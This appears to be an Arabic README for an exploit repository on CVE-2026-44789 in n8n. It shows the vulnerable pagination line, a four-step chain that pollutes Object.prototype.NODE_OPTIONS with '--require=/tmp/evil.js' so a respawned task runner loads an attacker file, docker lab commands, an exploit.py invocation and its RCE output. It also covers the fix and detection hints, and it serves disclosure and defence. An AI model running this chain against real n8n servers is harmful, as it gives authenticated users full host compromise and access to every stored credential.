
CVE-2026-44789 — n8n <1.123.43 تلوث النموذج الأولي لترقيم صفحات طلب HTTP يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (أداة NODE_OPTIONS runner-spawn gadget). مختبر + إثبات المفهوم آلي، تم التحقق منه في اختبار شامل (e2e).
يقوم منشئ سير عمل مصادق عليه n8n
< 1.123.43بتلويثObject.prototypeفي عملية الخادم n8n من خلال إعدادات الترقيم لعقدة طلب HTTP، ثم يتصعد إلى تنفيذ تعليمات برمجية عن بُعد بإساءة استخدام طريقة n8n في تشغيل مشغّل المهام — مما يؤدي إلى تسريبNODE_OPTIONSملوثة إلى عمليةnodeتابعة وتجاوز وضع الحماية لعقدة الكود.
| CVE | CVE-2026-44789 |
| الإشعار | GHSA-c8xv-5998-g76h |
| المتأثر | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| المُصحَّح | 1.123.43 / 2.20.7 / 2.22.1 |
| التصنيف | CWE-1321 (تلوث النموذج الأولي) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / خطير |
| المصادقة | مصادق عليه (صلاحية إنشاء/تعديل سير العمل) |
| الحالة | مؤكد — تم إعادة إنتاج السلسلة كاملة من البداية إلى النهاية ضد n8nio/n8n:1.123.42 |
يذكر الإشعار العام فقط أن التلوث "بالاشتراك مع تقنيات أخرى قد يؤدي إلى RCE" — لكنه لا يكشف عن أداة (gadget). يوثق هذا المستودع و يؤتمت سلسلة تلوث نموذج أولي → RCE ملموسة ومحققة.
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts، وضع الترقيم updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type و parameterName و parameterValue كلها تأتي من JSON سير العمل (مسيطر عليه من قبل المهاجم). مع parameter.type = "__proto__"،
paginationData.request["__proto__"] يتحول إلى Object.prototype، لذا فإن التعيين يكتب Object.prototype[parameterName] = parameterValue — تلوث النموذج الأولي عالمي في عملية خادم n8n.
يستخدم الإصلاح Object.create(null) لـ paginationData.request، لذا يصبح ["__proto__"] مفتاحًا عاديًا (بدون نموذج أولي) بدلاً من النموذج الأولي.
packages/cli/src/task-runners/task-runner-process-js.ts يشغل مشغّل مهام JS:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
تقوم normalizeSpawnArguments في Node ببناء بيئة الطفل باستخدام for (const key in env)، الذي يعدّ الخصائص الموروثة القابلة للعد. يؤدي تلويث Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" إلى تسريبها إلى بيئة المشغّل المولّد. الطفل هو node، الذي يحترم NODE_OPTIONS، لذا فإنه يقوم بـ --require لملف المهاجم عند بدء التشغيل → تنفيذ تعليمات برمجية خارج وضع الحماية لعقدة الكود، كمستخدم خدمة n8n.
يتم تشغيل المشغّل عند بدء التشغيل، لكن دورة حياته تعيد تشغيله كلما خرجت العملية (onProcessExit → start()). يجبر المهاجم على إعادة التشغيل بعد التلويث بتعليق المشغّل باستخدام عقدة كود (انتهاء مهلة المهمة / OOM يقتله).
exploit.py)1. كتابة /tmp/evil.js عبر عقد Set → Convert to File → Read/Write Files
2. تعليق مشغّل المهام عبر عقدة كود ( while(true){} ) [قبل التلويث]
3. تلويث Object.prototype.NODE_OPTIONS عبر عقدة طلب HTTP ( type="__proto__" )
4. انتهاء مهلة المشغّل المعلق → العملية الرئيسية تعيد تشغيل 'node' → يرث NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
الترتيب مهم: التلويث يجعل NODE_OPTIONS مفتاحًا قابلًا للعد وليس مملوكًا بشكل مباشر على Object.prototype، مما يعطل طبقة TypeORM في n8n (for…in فوق الكيانات)، مما يعطل استمرارية سير العمل. لذلك يجب أن يكون المشغّل معلقًا بالفعل قبل حدوث التلويث؛ ثم تلتقط إعادة التشغيل البيئة الملوثة.
نطاق التكوين (اقرأ أولاً). أساسية تلوث النموذج الأولي تعمل في أي إصدار متأثر دون تغييرات في التكوين. أداة RCE تحتاج إلى مشغّل المهام، الذي يتم الوصول إليه بشكل مختلف حسب الفرع:
- n8n 2.x المتأثر (2.0.0–2.20.6, 2.21.0–2.22.0): مشغّلات المهام افتراضية/إلزامية (
N8N_RUNNERS_ENABLEDمهملة →SAFE_TO_REMOVE)، لذا فإن سلسلة RCE الكاملة هي تكوين افتراضي.- n8n 1.123.x المتأثر (صورة هذا المختبر): مشغّلات المهام افتراضية متوقفة، لذا يقوم المختبر بتعيين
N8N_RUNNERS_ENABLED=trueليعكس افتراضية 2.x. تم تخفيضN8N_RUNNERS_TASK_TIMEOUTفقط لجعل إعادة تشغيل المشغّل المعلق تتم بشكل أسرع — ليس مطلوبًا للثغرة.
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, المشغّلات مفعلة لعكس 2.x
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# يظهر ناتج الأمر على مضيف n8n:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py يستخدم فقط مكتبة Python القياسية ويقود API REST لنظام n8n من البداية إلى النهاية (إعداد المالك/تسجيل الدخول → نشر سير العمل → تشغيل السلسلة).
الملاحظ:
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node) هو حساب خدمة المشغّل والناتج هو حالة id/uname حية — تنفيذ حقيقي، وليس صدى للإدخال.
أي مستخدم مصادق عليه يمكنه إنشاء أو تعديل سير عمل يحصل على تنفيذ أوامر نظام على مضيف n8n، هاربًا من وضع الحماية لعقدة الكود — اختراق كامل لخادم الأتمتة وكل بيانات اعتماد/نظام يمكنه الوصول إليه.
Object.create(null)، مما يقتل كتابة __proto__).--disable-proto=delete / --disallow-code-generation-from-strings، لكن ذلك يحمي المشغّل، وليس العملية الرئيسية حيث يقع التلوث.وضع علامة على سير العمل التي تستخدم معاملات ترقيم طلب HTTP بقيم type من __proto__ / constructor / prototype، وظهور NODE_OPTIONS كخطأ في الخاصية في سجلات n8n/TypeORM.
انظر ANALYSIS.md للأساسية، وسلوك for…in البيئي في Node، ودورة حياة المشغّل، والتصحيح.